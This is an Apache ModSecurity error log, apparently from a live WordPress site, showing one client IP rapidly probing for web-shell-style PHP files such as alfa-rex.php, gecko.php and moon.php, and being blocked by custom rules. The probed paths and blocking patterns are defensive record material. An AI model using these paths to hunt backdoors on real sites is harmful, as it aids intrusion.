[Fri Apr 03 05:10:15.597975 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:1803] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac7bN0ze_aEPDM9xEE2gbgAAAQU"]
[Fri Apr 03 05:10:36.491379 2026] [:error] [pid 22778:tid 22802] [client 20.104.201.101:1692] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bTPS-q9hkdFqUjq9qvQAAANE"]
[Fri Apr 03 05:10:36.911305 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1680] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/about.php"] [unique_id "ac7bTPS-q9hkdFqUjq9qvgAAANU"]
[Fri Apr 03 05:10:37.324193 2026] [:error] [pid 22673:tid 22748] [client 20.104.201.101:2030] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bTe-GlVDWdWxxwJB3UAAAAII"]
[Fri Apr 03 05:10:37.514046 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:1922] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bTe-GlVDWdWxxwJB3UgAAAIE"]
[Fri Apr 03 05:10:37.774958 2026] [:error] [pid 22671:tid 22694] [client 20.104.201.101:1693] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bTSRuUnMW7r8hvyY98wAAAAM"]
[Fri Apr 03 05:10:38.248938 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:1940] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/xmrlpc.php"] [unique_id "ac7bTu-GlVDWdWxxwJB3WgAAAJI"]
[Fri Apr 03 05:10:38.444953 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:2009] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bTkze_aEPDM9xEE2hAAAAAQk"]
[Fri Apr 03 05:10:38.736452 2026] [:error] [pid 22672:tid 22738] [client 20.104.201.101:2044] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bTqzrgXkFSOK0fvp6WgAAAFM"]
[Fri Apr 03 05:10:39.159159 2026] [:error] [pid 22778:tid 22809] [client 20.104.201.101:1860] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "ac7bT_S-q9hkdFqUjq9qxAAAANg"]
[Fri Apr 03 05:10:39.195744 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1664] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bT_S-q9hkdFqUjq9qxQAAAMU"]
[Fri Apr 03 05:10:39.661285 2026] [:error] [pid 58590:tid 58607] [client 20.104.201.101:1937] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bT0ze_aEPDM9xEE2hAwAAAQ8"]
[Fri Apr 03 05:10:40.032709 2026] [:error] [pid 22673:tid 22751] [client 20.104.201.101:1924] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bUO-GlVDWdWxxwJB3XgAAAIU"]
[Fri Apr 03 05:10:40.288602 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1938] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/admin.php"] [unique_id "ac7bUEze_aEPDM9xEE2hBwAAARM"]
[Fri Apr 03 05:10:40.610754 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:1784] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bUEze_aEPDM9xEE2hCwAAAQk"]
[Fri Apr 03 05:10:40.774858 2026] [:error] [pid 22778:tid 22796] [client 20.104.201.101:2035] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/moon.php"] [unique_id "ac7bUPS-q9hkdFqUjq9qywAAAMs"]
[Fri Apr 03 05:10:41.491408 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2020] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bUUze_aEPDM9xEE2hGQAAAQc"]
[Fri Apr 03 05:10:42.202500 2026] [:error] [pid 58590:tid 58595] [client 20.104.201.101:1966] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/packed.php"] [unique_id "ac7bUkze_aEPDM9xEE2hIAAAAQM"]
[Fri Apr 03 05:10:42.744944 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:1930] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bUqzrgXkFSOK0fvp6ZAAAAFE"]
[Fri Apr 03 05:10:43.591485 2026] [:error] [pid 22673:tid 22750] [client 20.104.201.101:1698] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bU--GlVDWdWxxwJB3YwAAAIQ"]
[Fri Apr 03 05:10:43.756110 2026] [:error] [pid 22673:tid 22752] [client 20.104.201.101:1932] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/moon.php"] [unique_id "ac7bU--GlVDWdWxxwJB3ZAAAAIY"]
[Fri Apr 03 05:10:44.286930 2026] [:error] [pid 22778:tid 22795] [client 20.104.201.101:2014] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/moon.php"] [unique_id "ac7bVPS-q9hkdFqUjq9q1AAAAMo"]
[Fri Apr 03 05:10:44.378861 2026] [:error] [pid 22778:tid 22793] [client 20.104.201.101:2024] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bVPS-q9hkdFqUjq9q1gAAAMg"]
[Fri Apr 03 05:10:44.951547 2026] [:error] [pid 22778:tid 22792] [client 20.104.201.101:1770] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/link.php"] [unique_id "ac7bVPS-q9hkdFqUjq9q3QAAAMc"]
[Fri Apr 03 05:10:45.593624 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2010] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bVUze_aEPDM9xEE2hMAAAAQc"]
[Fri Apr 03 05:10:46.069882 2026] [:error] [pid 22671:tid 22693] [client 20.104.201.101:1753] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bViRuUnMW7r8hvyY9-wAAAAI"]
[Fri Apr 03 05:10:46.652027 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1752] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bVkze_aEPDM9xEE2hOwAAAQc"]
[Fri Apr 03 05:10:47.206612 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1992] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "ac7bV0ze_aEPDM9xEE2hPgAAARE"]
[Fri Apr 03 05:10:48.084528 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1864] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bWEze_aEPDM9xEE2hRQAAAQI"]
[Fri Apr 03 05:10:48.253167 2026] [:error] [pid 22672:tid 22726] [client 20.104.201.101:1777] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cgi-bin/moon.php"] [unique_id "ac7bWKzrgXkFSOK0fvp6cAAAAEc"]
[Fri Apr 03 05:10:49.139942 2026] [:error] [pid 22671:tid 22709] [client 20.104.201.101:1752] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac7bWSRuUnMW7r8hvyY9_gAAABI"]
[Fri Apr 03 05:10:49.705000 2026] [:error] [pid 22778:tid 22786] [client 20.104.201.101:2045] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "ac7bWfS-q9hkdFqUjq9q5gAAAME"]
[Fri Apr 03 05:10:50.090812 2026] [:error] [pid 22778:tid 22807] [client 20.104.201.101:1994] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bWvS-q9hkdFqUjq9q6QAAANY"]
[Fri Apr 03 05:10:50.392636 2026] [:error] [pid 22778:tid 22795] [client 20.104.201.101:2006] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "ac7bWvS-q9hkdFqUjq9q6wAAAMo"]
[Fri Apr 03 05:10:50.854769 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:1986] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "ac7bWkze_aEPDM9xEE2hTwAAAQE"]
[Fri Apr 03 05:10:50.910806 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1941] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bWkze_aEPDM9xEE2hUQAAARI"]
[Fri Apr 03 05:10:51.390636 2026] [:error] [pid 58590:tid 58596] [client 20.104.201.101:1699] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "ac7bW0ze_aEPDM9xEE2hVwAAAQQ"]
[Fri Apr 03 05:10:51.423724 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:2029] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/plugin.php"] [unique_id "ac7bW0ze_aEPDM9xEE2hWQAAARg"]
[Fri Apr 03 05:10:51.813322 2026] [:error] [pid 22778:tid 22792] [client 20.104.201.101:1987] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "ac7bW_S-q9hkdFqUjq9q8gAAAMc"]
[Fri Apr 03 05:10:51.991899 2026] [:error] [pid 58590:tid 58605] [client 20.104.201.101:2038] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac7bW0ze_aEPDM9xEE2hYQAAAQ0"]
[Fri Apr 03 05:10:52.417552 2026] [:error] [pid 58590:tid 58615] [client 20.104.201.101:1996] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac7bXEze_aEPDM9xEE2hZAAAARc"]
[Fri Apr 03 05:10:52.489536 2026] [:error] [pid 22671:tid 22705] [client 20.104.201.101:1667] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bXCRuUnMW7r8hvyY-AQAAAA4"]
[Fri Apr 03 05:10:53.092346 2026] [:error] [pid 22671:tid 22714] [client 20.104.201.101:1743] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac7bXSRuUnMW7r8hvyY-BAAAABc"]
[Fri Apr 03 05:10:53.234629 2026] [:error] [pid 22671:tid 22691] [client 20.104.201.101:1957] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bXSRuUnMW7r8hvyY-BQAAAAA"]
[Fri Apr 03 05:10:53.608500 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1947] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "ac7bXe-GlVDWdWxxwJB3egAAAIw"]
[Fri Apr 03 05:10:54.155506 2026] [:error] [pid 58590:tid 58596] [client 20.104.201.101:1961] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "ac7bXkze_aEPDM9xEE2hbgAAAQQ"]
[Fri Apr 03 05:10:54.169933 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:1953] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "ac7bXkze_aEPDM9xEE2hbwAAAQc"]
[Fri Apr 03 05:10:54.655729 2026] [:error] [pid 22673:tid 22763] [client 20.104.201.101:1971] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "ac7bXu-GlVDWdWxxwJB3hAAAAJE"]
[Fri Apr 03 05:10:54.857257 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:2016] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bXvS-q9hkdFqUjq9q9wAAAMU"]
[Fri Apr 03 05:10:55.096691 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:2036] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "ac7bX6zrgXkFSOK0fvp6ggAAAFE"]
[Fri Apr 03 05:10:55.398284 2026] [:error] [pid 22671:tid 22696] [client 20.104.201.101:1969] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bXyRuUnMW7r8hvyY-CAAAAAU"]
[Fri Apr 03 05:10:55.579950 2026] [:error] [pid 22672:tid 22732] [client 20.104.201.101:2042] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "ac7bX6zrgXkFSOK0fvp6hgAAAE0"]
[Fri Apr 03 05:10:55.992211 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1951] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugin.php"] [unique_id "ac7bX_S-q9hkdFqUjq9q_AAAAMk"]
[Fri Apr 03 05:10:56.066402 2026] [:error] [pid 22778:tid 22801] [client 20.104.201.101:1977] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "ac7bYPS-q9hkdFqUjq9q_QAAANA"]
[Fri Apr 03 05:10:56.486548 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1832] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "ac7bYO-GlVDWdWxxwJB3hgAAAJg"]
